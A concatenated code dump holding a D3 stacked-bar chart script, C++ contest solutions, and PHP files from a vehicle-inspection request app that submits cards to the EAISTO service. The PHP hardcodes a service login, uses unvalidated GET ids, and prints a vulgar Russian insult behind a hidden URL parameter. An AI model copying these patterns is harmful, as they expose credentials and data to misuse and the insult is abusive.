}); timeArray.push(timeObject) // keys for building stacked bars var keys = [] for (key in timeObject){ keys.push(key); } //bar tooltips var barTip = d3.tip().attr('class','d3-tip') .html(d => { var text= ""; text += "<strong>Name:</strong> <span style='color:#ff9f68'>" + d.key + "</span><br>"; text += "<strong>Time:</strong> <span style='color:#ff9f68'>" + d[0].data[d.key].toFixed(2)+ "(s)" + "</span><br>"; return text; }); var currentDepth = data.depth; x.domain([0, globalRoot.data.time]); y.domain(timeArray.length); x_axis.call(d3.axisBottom(x)); // draw y axis y_axis.call(d3.axisLeft(y)); // y axis label y_label.text(`Level ${currentDepth}`); console.log(timeArray.length) var stackedBarData = d3.stack().keys(keys)(timeArray) var barContainer = container_2_plot.selectAll("rect").data(stackedBarData) barContainer.exit().remove() var barsEnter = barContainer.enter().append("rect") barsEnter .attr("fill", function(d) { return z(d.key); }) .attr("y", function(d) { return y(d[keys]); }) .attr("x", function(d) { return x(d[0][0])+ padding + 1; }) .attr("width", function(d) { return x(d[0][1]) - x(d[0][0]); }) .attr("height", y.bandwidth()) .on('mouseover', barTip.show) .on('mouseout', barTip.hide); barContainer = barContainer.merge(barsEnter) barContainer.transition().duration(2000) .attr("fill", function(d) { return z(d.key); }) .attr("y", function(d) { return y(d[keys]); }) .attr("x", function(d) { return x(d[0][0])+ padding + 1; }) .attr("width", function(d) { return x(d[0][1]) - x(d[0][0]); }) .attr("height", y.bandwidth()) //displays every node at a particular depth as an independent bar -- keeping this in case we need to use it for some reason in the future // var rects = container_2_plot.selectAll('rect') // .data(timeObject) // //remove old bars // rects.exit().remove() // rects // .attr("x", padding) // .attr('y', (d,i) => {return y(i)}) // .attr('height', y.bandwidth()) // .attr('width', d => { // return x(d.data.time) // }) // rects // .enter() // .append("rect") // Add a new rect for each new elements // .attr("x", padding) // .attr('y', (d,i) => {return y(i)}) // .attr('height', y.bandwidth()) // .attr('class', "bar") // .attr('width', d => { // return x(d.data.time) // }) // .attr('fill', 'blue') // .style('opacity', '0.5') // .on('mouseover', tip.show) // .on('mouseout', tip.hide) container_2_plot.call(barTip) } // 4. TO DO: Add profermance profile (This part you can design freely) // All the code here is just for reference. You can change it freely.
476bb98b608ea52dceaf0dfbf93670e9d3b528f5
[ "JavaScript" ]
1
JavaScript
judeagan1/hpc-vis-with-barchart
982b2ea1b27e66d0d863b42c3610208dd83f7b62
fa5a5cc8167455067de2981b16f89683ac72b0a0
refs/heads/master
<repo_name>triplewwwexpert/5th-contest<file_sep>/Vjudge 5/H.cpp #include <bits/stdc++.h> using namespace std; int main() { int a1,b1,sum=0,i; cin>>a1>>b1; for(i=a1;i<=b1;i++){ sum +=(i*i); } cout<<sum<<endl; return 0; } <file_sep>/Vjudge 5/B.cpp #include<bits/stdc++.h> using namespace std; int main() { int i,No; cin>>No; cout<<"W"; for(i=1;i<=No;i++) { printf("o",i); } cout<<"w"; return 0; } <file_sep>/README.md # 5th-contest <file_sep>/Vjudge 5/I.cpp #include<bits/stdc++.h> using namespace std; int main() { int test1,x,y; cin>>test1; while(test1--){ cin>>x>>y; if(x>y) cout<<"YES"<<endl; else cout<<"NO"<<endl; } return 0; } <file_sep>/Vjudge 5/E.cpp #include<bits/stdc++.h> using namespace std; int main() { int a1,b1; cin>>a1>>b1; if(a1==0 && b1==0) cout<<"0"<<endl; else if(a1==0 && b1==1) cout<<"1"<<endl; else if(a1==1 && b1==0) cout<<"1"<<endl; else cout<<"0"<<endl; return 0; } <file_sep>/Vjudge 5/J.cpp #include <bits/stdc++.h> using namespace std; int main() { int test1,num; cin>>test1; while(test1--){ cin>>num; if(num == 0){ cout<<"No"<<endl;} else if (num %16 == 0) {cout<<"Yes"<<endl;} else cout<<"No"<<endl; } return 0; } <file_sep>/Vjudge 5/G.cpp #include <bits/stdc++.h> using namespace std; int main() { char s2[]="ACM"; char s3[]="Get well soon!"; printf("%s\n",s3); return 0; } <file_sep>/Vjudge 5/L.cpp #include <bits/stdc++.h> using namespace std; int main() { int N1; cin>>N1; for(int i=1;i<=N1;i++){ cout<<i<<" Abracadabra"<<endl; } return 0; } <file_sep>/Vjudge 5/F.c #include <stdio.h> int main() { int c, n; while(scanf("%d", &n)!=EOF){ int fac = 1; for (c = 1; c <= n; c++) fac = fac * c; printf("%d\n",fac); } return 0; } <file_sep>/Vjudge 5/M.cpp #include <bits/stdc++.h> using namespace std; int main() { int n1,x,cn=0; cin>>n1; while(n1--){ cin>>x; if(x<0) cn++; } cout<<cn<<endl; return 0; }
d8adf29fe6f32ab7ae14e63b42b637bae0c437df
[ "Markdown", "C", "C++" ]
10
C++
triplewwwexpert/5th-contest
d19e0898f172a3241178c73c7562158c0374f5a6
0b273d364833f2bc40b1934f174c48e42d470298
refs/heads/master
<file_sep>var section = []; var tabsChild = []; var currentTabs = []; var subTabs = []; function initialize() { tab(); if($('#tdp-detail').length) tourismNav("detail"); } function calcChanged() { var val = $("#calcType").val(); } function tab() { var i = 0; $("div[id^='tab-container']").each(function () { var temp = i; section.push($(this)); tabsChild.push($("#" + $(this).attr('id') + " > .tab").children().find('a')); // alert(i); subTabs.push(0); currentTabs.push(0); var j = 0; tabsChild[i].each(function () { $($(this).attr('href')).css('display', 'none'); if (j == 0) switchTab(temp, $(this).attr('href')); j++; $(this).click(function () { switchTab(temp, $(this).attr('href')); return false; }); }) i++; }); } function switchTab(sectionID, tabId) { $(tabId).css('display', 'block') $(currentTabs[sectionID]).css('display', 'none'); currentTabs[sectionID] = tabId; subTabs[sectionID] = 0; tabsChild[sectionID].each(function () { if ($(this).attr('href') == tabId) { $(this).addClass('active'); currentTabs[sectionID] = tabId; } else if ($(this).attr('class') == 'active') $(this).removeClass('active'); }) subTab(sectionID, 0); } function subTab(sectionID, value) { var id = currentTabs[sectionID]; var temp; id = id.replace('#', ''); subTabs[sectionID] += value; if (!$("#" + id + "-" + subTabs[sectionID]).length) { subTabs[sectionID] -= value; return; } $("div[id^='" + id + "-']").css('display', 'none'); if (value != 0) { $("#" + id + "-" + (subTabs[sectionID] - value)).css('display', 'block'); } if (value != 0) { if (Math.abs(value) == value) $("#" + id + "-" + (subTabs[sectionID] - value)).addClass("animated fadeOutLeft"); else $("#" + id + "-" + (subTabs[sectionID] - value)).addClass("animated fadeOutRight"); window.setTimeout(function () { $("#" + id + "-" + (subTabs[sectionID] - value)).removeClass("fadeOutLeft"); $("#" + id + "-" + (subTabs[sectionID] - value)).removeClass("fadeOutRight"); $("#" + id + "-" + (subTabs[sectionID] - value)).removeClass("animated"); $("div[id^='" + id + "-']").css('display', 'none'); }, 500); window.setTimeout(function () { if (Math.abs(value) == value) $("#" + id + "-" + subTabs[sectionID]).addClass("fadeInRight animated"); else $("#" + id + "-" + subTabs[sectionID]).addClass("fadeInLeft animated"); $("#" + id + "-" + subTabs[sectionID]).css('display', 'block'); }, 500); window.setTimeout(function (){ $("#" + id + "-" + subTabs[sectionID]).removeClass("fadeInLeft"); $("#" + id + "-" + subTabs[sectionID]).removeClass("fadeInRight"); $("#" + id + "-" + subTabs[sectionID]).removeClass("animated"); }, 1500); } else { $("#" + id + "-" + subTabs[sectionID]).css('display', 'block'); } if ($("#" + id + "-" + (subTabs[sectionID] - value).length)) { $('#sub-nav-' + sectionID).find('.back').addClass('nav-noninteractive'); $('#sub-nav-' + sectionID).find('.back').removeClass('nav-interactive'); if ($("#" + id + "-" + (subTabs[sectionID] + value).length)) { $('#sub-nav-' + sectionID).find('.next').removeClass('nav-noninteractive'); $('#sub-nav-' + sectionID).find('.next').addClass('nav-interactive'); }else{ $('#sub-nav-' + sectionID).find('.next').removeClass('nav-interactive'); $('#sub-nav-' + sectionID).find('.next').addClass('nav-noninteractive'); } } else if ($("#" + id + "-" + (subTabs[sectionID] + value).length)) { $('#sub-nav-' + sectionID).find('button.next').removeClass('nav-noninteractive'); $('#sub-nav-' + sectionID).find('button.next').addClass('nav-interactive'); if ($("#" + id + "-" + (subTabs[sectionID] + value).length)) { $('#sub-nav-' + sectionID).find('button.back').removeClass('nav-interactive'); $('#sub-nav-' + sectionID).find('button.back').addClass('nav-noninteractive'); }else{ $('#sub-nav-' + sectionID).find('button.back').removeClass('nav-noninteractive'); $('#sub-nav-' + sectionID).find('button.back').addClass('nav-interactive'); } } } function navElaps() { var x = $('#navbar'); if (!x.hasClass('responsive')) { x.addClass('responsive'); } else { x.removeClass('responsive'); } } function tourismNav(id){ $('#tdp-detail').css('display', 'none'); $('#tdp-history').css('display', 'none'); $('#tdp-map').css('display', 'none'); $('#tdp-gallery').css('display', 'none'); $('#btn-detail').removeClass('active'); $('#btn-history').removeClass('active'); $('#btn-map').removeClass('active'); $('#btn-gallery').removeClass('active'); $('#tdp-'+id).css('display', 'block'); $('#btn-'+id).addClass('active'); } function tsahClose(){ $("#tsah").removeClass("fadeInUp animated"); $("#tsah").addClass("fadeOutDown animated"); } function tsahShow(){ $("#tsah").css('display', 'block'); $("#tsah").removeClass("fadeOutDown animated"); $("#tsah").addClass("fadeInUp animated"); }<file_sep><!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Artikel</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" type="text/css" media="screen" href="css/style.css" /> <script src="js/main.js"></script> <script src="js/jquery-3.2.1.min.js"></script> <link rel="icon" href="assets/icons/favicon.png" type="image/x-icon" /> <link rel="shortcut icon" href="assets/icons/favicon.png" type="image/x-icon" /> <link rel="stylesheet" href="css/animate.css"> <style type="text/css">blockquote { font-family: Georgia, serif; font-size: 18px; font-style: italic; width: 90%; margin: 0.25em 0; padding: 0.25em 40px; line-height: 1.45; position: relative; color: #383838; } blockquote:before { display: block; content: "\201C"; font-size: 80px; position: absolute; left: -20px; top: -20px; color: #7a7a7a; } blockquote cite { color: #999999; font-size: 14px; display: block; margin-top: 5px; } blockquote cite:before { content: "\2014 \2009"; } .subscribe ::placeholder { /* Chrome, Firefox, Opera, Safari 10.1+ */ color: white; opacity: 1; /* Firefox */ } :-ms-input-placeholder { /* Internet Explorer 10-11 */ color: white; } ::-ms-input-placeholder { /* Microsoft Edge */ color: white; } </style> </head> <body onload="initialize()"> <div id="navbar" class="navbar article-nav"> <div class="container"> <div class="logo"> <a href="index.html" style="text-decoration: none;"> <h1>travelID</h1> </a> </div> <div class="nav"> <ul> <li class="firstNav"> <a href="index.html">Beranda</a> </li> <li> <a href="tourism.html">Wisata</a> </li> <li> <a href="gallery.html">Galeri</a> </li> <li> <a href="article.html" class="active">Artikel</a> </li> <li class="icon"> <a href="javascript:void(0);" style="font-size:15px;" onclick="navElaps()">&#9776;</a> </li> </ul> </div> </div> </div> <div class="post-page"> <div class="container"> <div class="pp-post wow slideInLeft"> <div class="container"> <div class="pp-post-header"> <div class="pp-post-time"> 6 menit yang lalu </div> <div class="pp-post-share"> <ul style="list-style: none;"> <a href="#"><li style="float: left; padding-left: 15px;"><img src="assets/icons/fb.png"></li></a> <a href="#"><li style="float: left; padding-left: 15px;"> <img src="assets/icons/twitter.png"> </li></a> <a href="#"><li style="float: left; padding-left: 15px;"> <img src="assets/icons/in.png"> </li></a> <a href="#"><li style="float: left; padding-left: 15px;"> <img src="assets/icons/link.png"> </li></a> </ul> </div> </div> <div class="pp-post-title"> Jelajahilah Pulau Belitung </div> <div class="pp-post-location"> Pulau Belitung </div> </div> <div class="pp-post-img"> <img src="assets/images/belitung_artikel.jpg"> </div> <div class="container"> <div class="pp-post-desc "> <p >Seiring dengan melajunya popularitas novel sekaligus film karangan <NAME>, secara tak langsung juga mendongkrak Pulau Belitung menjadi destinasi alternatif bagi para traveler. Bahkan, tak jarang turis mancanegara pun merencanakan liburannya ke pulau yang hanya memiliki dua kabupaten ini.</p><br> <p>Seperti apa pesona keindahan alam dari pulau yang berbatasan dengan Selat Gaspar dan Selat Karimata ini? Berikut akan Hipwee ulas tentang destinasi wisata yang bisa kamu kunjungi di Pulau Belitung ini. Simak baik-baik ya, Travelers!</p><br> <p><b>SD Muhammadiyah Gantong atau SD Laskar Pelangi. Berdiri di bukit berpasir putih dengan danau-danau kecil yang menenangkan hati.</b></p><br> <img src="assets/images/belitung-artikel-plus.jpg" style="display: block; margin-left: auto; margin-right: auto; width: 50%;" alt="joko"> <br> <p>Tempat yang tentu menjadi sorotan semua khalayak apalagi kamu, para traveler, ketika berlayar ke Pulau Belitung. Setelah membaca dan menonton film Laskar Pelangi, tentu keinginanmu berkunjung ke sekolah yang digunakan syuting film itu ‘kan. SD Muhammadiyah Gantung atau masyarakat setempat menyebutnya Gantong, sebenarnya memiliki tiga bangunan sekolah di tempat yang berbeda. Pertama adalah bangunan asli yang sudah ada sejak dahulu kala, berikutnya adalah sekolah yang dibangun oleh pemerintah setempat, dan yang ketiga adalah bangunan yang dipakai oleh Lintang dan kawan-kawan dalam film Laskar Pelangi. Sayangnya, sekarang sudah tidak ada lagi bangunan asli, karena sudah direnovasi oleh pemerintah daerah menjadi bangunan semi modern.</p><br> <p>Dari ketiga bangunan sekolah itu, kamu hanya bisa berkunjung ke dua sekolah yang dipakai dalam syuting film Laskar Pelangi dan sekolah asli yang sudah ada sejak dulu. Tapi, yang akan membuatmu penasaran tentu sekolahnya si Lintang. Kalau kamu beruntung, sekolah ini nggak dikunci sama sekali. Jadi, kamu bisa masuk ke ruang kelas, duduk di bangku siswa, dan bayangkan kamu sedang diajar oleh Ibu Muslimah. Nah, SD Muhammadiy<NAME> berada di perbukitan yang dipadati dengan pasir putih yang sangat lembut di kaki, dengan rerumputan yang ‘yahud’ buat berfoto ria. Ya, biar album di Instagram-mu lebih indah mempesona juga. #tsaaah</p><br> <p><b>Sempatkanlah berfoto di Bendungan Pice. Mungkin di sinilah anak-anak setempat menghabiskan waktunya di kala senja.</b></p><br> <img src="assets/images/belitung-artikel-plus1.jpg" style="display: block; margin-left: auto; margin-right: auto; width: 50%;" alt="joko"><br> <p>Sudah berdiri kokoh sejak masa penjajahan Belanda, Bendungan Pice kini menjadi tempat favorit masyarakat Gentong untuk berburu senja maupun sunrise. Bendungan yang dibangun oleh insinyur Belanda bernama Sir Vance ini semula digunakan sebagai barometer untuk mengetahui tinggi rendahnya permukaan air sungai Linggang, supaya mempermudah para pekerjanya dalam mengeksplorasi timah di tanah Belitung.</p><br> <p>Bendungan yang membelah kota Gantung ini memiliki panjang hingga 50 meter. Kalau kamu ingin berburu sunset yang cantik di pulau Laskar Pelangi, sempatkanlah untuk mampir ke bendungan ini. Dari sisi barat, kamu akan menumui gemuruh awan gemawan yang berarak dengan warna jingga kuning kemerahan yang menentramkan batin. Belum lagi refleksi senja pada air sungai yang begitu sayang untuk tidak diabadikan. Ambillah pose dari baliknya, dijamin teman-temanmu iri dengan anggunnya soremu di tanah Belitung. Yakin, deh!</p><br> <p><b>Lengkapi jelajah Laskar Pelangi-mu ke Museum Kata <NAME>, Museum Sastra pertama di Indonesia.</b></p><br> <img src="assets/images/belitung-artikel-plus2.jpg" style="display: block; margin-left: auto; margin-right: auto; width: 50%;" alt="joko"><br> <blockquote> Mereka yang dapat menghargai kata, akan dihargai di kehidupan ini. <cite><NAME></cite> </blockquote> <p>Satu lagi destinasi wisata yang nggak boleh ketinggalan kamu jajaki. Museum Kata Andrea Hirata. Buat penggemar serial Laskar Pelangi, tentu mampir ke museum ini adalah keharusan yang nggak boleh terlewatkan. Museum yang berada di desa Lenggang, Gantung, Belitung Timur ini menyimpan berbagai dokumentasi karya Laskar Pelangi dan beberapa karya Sastra lainnya. Bahkan ruangan di museum ini dibuat dengan tematik, diambil dari nama-nama tokoh yang meramaikan novel Laskar Pelangi. Buat kamu pecinta kopi, di bagian belakang museum ini terdapat sebuah dapur kuno ala Malaysia yang menyediakan kopi tradisional yang bisa kamu nikmati. Bertajuk ‘Kupi Kuli’, dijamin kamu akan rela antre untuk bisa menikmati segelas kopi yang diseduh oleh seorang wanita dengan piawai. Hmm. Mencium aroma kopi di ruangan ini saja rasanya sudah nikmat sekali, apalagi langsung menyesapnya sedikit demi sedikit. Wah!</p><br> <p>Bukan hanya pribumi, turis mancanegara pun nggak sedikit yang berkunjung ke museum yang direncanakan akan berganti nama menjadi Museum Andrea Hirata ini. Untuk menuju ke sini, kamu membutuhkan waktu dua sampai tiga jam perjalanan dari Tanjung Pandan. Oh, ya, saran dari Hipwee sih, kamu harus meluangkan waktu seharian untuk berkunjung ke museum ini. Karena kalau cuma 2-3 jam, rasanya sangat kurang puas.</p><br> <p><b>Masih dalam perjalanan Laskar Pelangi, mampirlah ke Pantai Tanjung Tinggi. Pasir putih dengan batuan granit menjadi daya pikat tersendiri untuk kamu kunjungi.</b></p><br> <img src="assets/images/belitung-artikel-plus3.jpg" style="display: block; margin-left: auto; margin-right: auto; width: 50%;" alt="joko"><br> <p>Pantai yang berada 30 km di sebelah utara kota Tanjung Pandan ini merupakan tempat wisata yang paling populer di Pulau Belitung. Betapa tidak, setelah Laskar Pelangi mendunia, pantai Tanjung Tinggi ini langsung menjadi pantai yang paling sering dikunjungi oleh para pelancong. Buat kamu yang pernah nonton film Laskar Pelangi, tentu nggak asing dengan pantai ini. Ya, karena tokoh-tokoh dalam novel dan film Laskar Pelangi pernah berlarian di pantai ini, berloncatan dari batu ke batu, menginjakkan kaki-kaki mungilnya di atas debur pasir putih dan tepian pantai yang mengasyikan.</p><br> <p>Teluk kecil yang diapit oleh dua semenanjung ini dihiasi oleh hamparan pasir putih dan bebatuan granit dengan berbagai ukuran, yang membuat mata terbelalak enggan berkedip. Seperti disusun sedemikian indah, bebatuan granit ini menjadi pemandangan yang sempurna. Dengan air yang tenang dan berwarna biru bersih, siapapun dijamin betah untuk berlama-lama main di pantai ini. Tapi, ingat, jaga kebersihan, ya!</p><br> </div> <div class="pp-post-more"> <a href="article.html"><button class="primary-btn" style="width: 214px;height: 48px;">Lihat Artikel Lainnya</button></a> </div> </div> </div> </div> </div> <div id="footer"> <div class="content container"> <div class="title"> Berlangganan Artikel </div> <div class="sub-title"> Selalu update tentang pariwisata Indonesia </div> <div class="subscribe"> <input type="text" placeholder="Email"> <a href="#"> <button>Langganan</button> </a> </div> </div> <div class="copyright"> <div class="container"> <div class="left"> travelID </div> <div class="right"> © 2018. travelID. All Right Reserved </div> </div> </div> </div> <script src="js/wow.min.js"></script> <script> new WOW().init(); </script> </body>
67b746965ace8d465b4bdb2c567119e0675ea8d4
[ "JavaScript", "HTML" ]
2
JavaScript
DjakaTechnology/djakatechnology.github.io
48433b52ea6335d7ee436cc1cfa0f58c88338981
5eff874cffb75f917f002877d82c0daac49ced38
refs/heads/master
<file_sep><?php class Component { public function renderOut() { ob_start(); $this->render(); $result=ob_get_clean(); return $result; } }<file_sep><?php echo includeJsFile("expert.js"); $filterRequest= new Collapse(); $filterRequest->setData(array("Поиск" => renderOut("components/Search.html",array($data[5],$data[6]))),"Filter"); ?> <input name="page" id = "page" value ='1' hidden="true"/> <div class="well"> <div style="width: 300px; float:left;"> <h4>Обработка заявок</h4> </div> <br><br> <?php $filterRequest->render(); ?> <div id="requestTable"> </div> </div> <!-- Button to trigger modal --> <!-- Modal --> <div id="agentInfo" class="modal hide fade" style="width: 220px; left: 60%;" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h3 id="myModalLabel">Дерево агента</h3> </div> <div class="modal-body"> <p> </p> </div> </div> <script> $(function() { $('body').tooltip({ selector: "[rel=tooltip]", // можете использовать любой селектор placement: "top" }); }); $( document ).ready(function() { updateRequests(1); }); </script> <file_sep><?php class requestController extends Controller { public $rules = array ( "1" => "allow", "2" => "allow", "3" => "allow", "4" => "allow", "all" => "deny" ); public function formAction() { $id = $_GET['id']; $requestModel = new Request(); if (empty($_POST)) { $request[0] = $requestModel->getById($id); if ($request[0]['status_work'] == 0 && $id > 0) $requestModel->changeWorkStatus(1,$id); $this->render("form.php",$request); } else { $this->saveRequest($id); header( 'Location: /' ); } } public function sendAction() { $user = User::getInstance(); if ($user->type !=2) return; $id = $_GET['id']; $this->saveRequest($id); $this->sendRequest($_GET['id']); } public function deleteAction() { $user = User::getInstance(); $id = $_GET['id']; $requestModel = new Request(); $request = $requestModel->getById($id); if ($request['status_work']==5 && $user->type == 2){ $requestModel->changeWorkStatus(4,$id); } else { $requestModel->changeWorkStatus(5,$id); $message = ""; $request = $requestModel->getAttributes(); $message .= "<b> Рег. знак:</b> ".$request['reg_number']."<br>"; $message .= "<b> ФИО:</b> ".$request['first_name']." ".$request['second_name']." ".$request['third_name']."<br>"; $message .= "<b> VIN:</b> ".$request['VIN_number']."<br>"; $message .= "<b> Марка:</b> ".$request['brand']."<br>"; $message .= "<b> Модель:</b> ".$request['model']."<br>"; $message .= "<b> Год:</b> ".$request['year']."<br>"; $message .= "<b> Категория:</b> ".$request['category']."<br>"; $message .= "<b> Дата создания:</b> ".$request['date_create']."<br>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From: avto-office.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); $agent = Agent::getNameByLogin($request['agent']); mail("<EMAIL>","Запрос на удаление от "." ".$agent[0]['second_name'],$message,$headers); } header("Location: /"); return ; } public function cancelAction() { $user = User::getInstance(); if ($user->type !=2) return; $id = $_GET['id']; $requestModel = new Request(); $request = $requestModel->getById($id); if ($request['status_work'] == 5){ $requestModel->changeWorkStatus(6,$id); } header("Location: /"); return ; } public function downloadAction() { $id = $_GET['id']; $request = model::byId('Requests',$id); $this->render("index.php",$request); } private function sendRequest($id) { $requestModel = new Request; $MYSQL= DB::getInstance(); $User = User::getInstance(); // Получаем все сведения из формы $form_data = $requestModel->getById($id); $form_data['validate']=$_POST['validate']; // Узнаем эксперта, который отправляет машину: $expert = Model::byLogin("Experts",$User->login); $data["Expert"] = array("Name"=>"Алекcей", "FName" => "Плесковский"); // Создаем подключение к ЕАИСТО: $client = new SoapClient('http://eaisto.gibdd.ru/common/ws/arm_expert.php?wsdl'); $user["Name"] = "speya02"; // Логин $user["Password"] = "<PASSWORD>"; // <PASSWORD> // Заполняем ФИО владельца: $data["Name"] = $form_data["second_name"];// Фамилия; $data["FName"] = $form_data["first_name"]; // Имя $data["MName"] = $form_data["third_name"]; // Отчество // Заполняем результаты осмотра: $data["TestResult"] = "Passed"; $data["TestType"] = "Primary"; $data["DateOfDiagnosis"] = date('Y-m-d'); // Заполняем Данные ТС: $data["RegistrationNumber"] = $form_data["reg_number"]; $vehicle["Make"]=$form_data["brand"]; $vehicle["Model"]=$form_data["model"]; $form["Validity"]=date('Y-m-d',strtotime("+ ".$form_data["validate"]." month")); $form["Duplicate"]="0"; if ($form_data["comment"]!="Очередное ТО") $form["Comment"]=$form_data["comment"]; $data["Form"]=$form; $data["Vin"] = strtoupper($form_data["VIN_number"]); $data["FrameNumber"] = $form_data["chassis"]; $data["Year"] = $form_data["year"]; $data["EmptyMass"] = $form_data["min_mass"]; $data["MaxMass"] = $form_data["max_mass"]; $data["VehicleCategory2"] = $form_data["category"]; $data["Vehicle"] = $vehicle; // Тип ТС $data["BodyNumber"] =$_POST["body"]; // Номер кузова switch ($form_data["fuel_type"]) { case 1: $data["Fuel"] = "Petrol"; break; case 2: $data["Fuel"] = "Diesel"; break; case 3: $data["Fuel"] = "PressureGas"; break; case 4: $data["Fuel"] = "LiquefiedGas"; break; } switch ($form_data["break_type"]) { case 4: $data["BrakingSystem"] = "Mechanical"; break; case 1: $data["BrakingSystem"] = "Hydraulic"; break; case 2: $data["BrakingSystem"] = "Pneumatic"; break; case 3: $data["BrakingSystem"] = "Combined"; break; } switch ($form_data["category"]) { case "A": $data["VehicleCategory"] = "A"; break; case "N1": case "M1" : $data["VehicleCategory"] = "B"; break; case "M3": case "M2" : $data["VehicleCategory"] = "D"; break; case "N3": case "N2" : $data["VehicleCategory"] = "C"; break; case "O1": case "O2": case "O3": case "O4" : $data["VehicleCategory"] = "O"; $data["Fuel"] = "None"; break; } $data["Tyres"] = $form_data["wheels"]; $data["Killometrage"] = $form_data["mileage"]; // Документ регистрационный switch ($form_data["doc_type"]) { case 1: $RegistrationDocument["DocumentType"]="RegTalon"; break; case 2: $RegistrationDocument["DocumentType"]="PTS"; break; } $RegistrationDocument["Series"]=strtoupper($form_data["seria"]); $RegistrationDocument["Number"]=$form_data["number"]; $RegistrationDocument["Organization"]=$form_data["issued_by"]; $RegistrationDocument["Date"]=$form_data["issued_when"]; $data["RegistrationDocument"] = $RegistrationDocument; // Собираем все данные вместе: $params["card"] = $data; $params["user"] = $user; // Отправляем данные в ЕАИСТО: try { if ($result = $client->RegisterCard($params)) { $expert_id = "54"; $expert = model::byId("Experts",$expert_id); $expert_count = $expert['count']+1; $expert_count = substr("00000",strlen($expert_count)).$expert_count; $expert_number = $expert['number']; $array = (array)$result; $number=$array["Nomer"]; $id=$_GET['id']; $status = ($form_data['status_work'] == 1)? $status = 6 : $status = $form_data['status_work']; $MYSQL->update("Experts",array("count"=>$expert['count']+1),array ("id"=> $expert_id)); $MYSQL->update("Requests",array("card_in_number"=>"05657".$expert_number.date("y").$expert_count ,"card_number"=>$number,"date_create"=>date("Y-m-d H:i:s"),"status_work"=>$status,"date_exist"=>date("Y-m-d",strtotime("+ ".$form_data["validate"]." month"))),array("id"=>$id)); echo "<div class='alert alert-success' style=' text-align: left; float:left; height:20px;'>"; echo "<p><strong>Заявка успешно отправлена.</strong> Номер карты: $number</p>"; echo "</div>"; } else { throw new Exception(); } } catch(Exception $error_send) { echo "<div class='alert alert-error' style=' text-align: left; margin-bottom:0px;float:left; '>"; echo "<p>".$error_send->getMessage()."</p>"; echo "</div>"; } } private function saveRequest($id) { $user = User::getInstance(); $requestModel = new Request(); $agentModel = model::byLogin("Agents",$user->login); $request = $requestModel->getById($id); if (!empty($request)) { $requestModel->setAttributes($request); if (($request['status_work'] == 0 || $request['status_work'] == 2 || $request['status_work'] == 1 || $request['status_work'] == 3)){ $message = ""; $request = $requestModel->getAttributes(); $message .= "<b> Рег. знак:</b> ".$request['reg_number']."<br>"; $message .= "<b> ФИО:</b> ".$request['first_name']." ".$request['second_name']." ".$request['third_name']."<br>"; $message .= "<b> VIN:</b> ".$request['VIN_number']."<br>"; $message .= "<b> Марка:</b> ".$request['brand']."<br>"; $message .= "<b> Модель:</b> ".$request['model']."<br>"; $message .= "<b> Год:</b> ".$request['year']."<br>"; $message .= "<b> Категория:</b> ".$request['category']."<br>"; $message .= "<b> Дата создания:</b> ".$request['date_create']."<br>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From: avto-office.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); $agent = Agent::getNameByLogin($request['agent']); mail("<EMAIL>","Запрос на исправления от "." ".$agent[0]['second_name'],$message,$headers); } } // А этот агент владеет этой заявкой?.. Мошенник, не иначе! if ($user->type == 3 && !empty($request)) { if (strtolower($request['agent']) != strtolower($user->login)){ header("Location: /"); return ; die; } if ($request['status_work'] == 6 || $request['status_work'] == 1 || $request['status_work'] == 3) $requestModel->changeWorkStatus(2,$id); } if ($user->type == 2) { $requestModel->setAttribute(array("date_exist"=>date("Y-m-d",strtotime("+ ".$_POST["validate"]." month")))); if ($request['status_work'] == 2) $requestModel->changeWorkStatus(6,$id); } $requestModel->setAttributes($_POST); $requestModel->setAttribute(array("id" => $id)); $requestModel->setAttributes(array( 'agent' => (!empty($request))? $request['agent'] : $user->login, 'date_create' => date('Y-m-d H:i:s'), 'price' => ($user->type == 3)? $agentModel['price'] : $request['price'] )); $requestModel->save(array(),false); // Уведомляем по email if (empty($request)){ $message = ""; $request = $requestModel->getAttributes(); $message .= "<b> Рег. знак:</b> ".$request['reg_number']."<br>"; $message .= "<b> ФИО:</b> ".$request['first_name']." ".$request['second_name']." ".$request['third_name']."<br>"; $message .= "<b> VIN:</b> ".$request['VIN_number']."<br>"; $message .= "<b> Марка:</b> ".$request['brand']."<br>"; $message .= "<b> Модель:</b> ".$request['model']."<br>"; $message .= "<b> Год:</b> ".$request['year']."<br>"; $message .= "<b> Категория:</b> ".$request['category']."<br>"; $message .= "<b> Дата создания:</b> ".$request['date_create']."<br>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From: avto-office.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); $agent = Agent::getNameByLogin($request['agent']); mail("<EMAIL>","Новая заявка от "." ".$agent[0]['second_name'],$message,$headers); } } } // Внутренние валидаторы! /* * Сохранение заявки * При создании агента * Мое имя на "<NAME>" * Поля эксперта * */<file_sep><?php if (isset($_GET['who'])) { echo " Ну давай разберем по частям, тобою написанное )) Складывается впечатление что ты реально контуженный , обиженный жизнью имбицил )) Могу тебе и в глаза сказать, готов приехать послушать?) Вся та хуйня тобою написанное это простое пиздабольство , рембо ты комнатный)) от того что ты много написал, жизнь твоя лучше не станет)) пиздеть не мешки ворочить, много вас таких по весне оттаяло )) Про таких как ты говорят: Мама не хотела, папа не старался) Вникай в моё послание тебе< постарайся проанализировать и сделать выводы для себя) "; die; } session_start(); ini_set("display_errors",1); error_reporting(E_ALL ^ E_NOTICE); require_once "data/modules/db.php"; require_once "data/modules/functions.php"; require_once "data/modules/db_ex.php"; require_once "data/modules/user.php"; require_once "data/modules/crypt.php"; require_once "data/router.php"; require_once "data/controllers/pdf/fpdf_ext.php"; include_from("data/base/"); require_once "data/controllers/agentController.php"; require_once "data/controllers/indexController.php"; require_once "data/controllers/loginController.php"; require_once "data/controllers/priceController.php"; require_once "data/controllers/requestController.php"; require_once 